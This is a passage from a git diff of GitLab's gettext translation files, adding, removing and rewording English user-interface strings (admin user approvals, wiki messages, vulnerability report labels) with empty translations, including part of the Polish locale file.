msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index 42be2e638cd..ce2d14d994a 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:49\n"
+"PO-Revision-Date: 2020-12-03 08:19\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,15 +210,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -461,22 +468,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -565,6 +563,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -667,9 +674,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1033,6 +1010,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2040,9 +2011,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2313,16 +2299,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2349,6 +2338,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2424,6 +2425,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2433,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
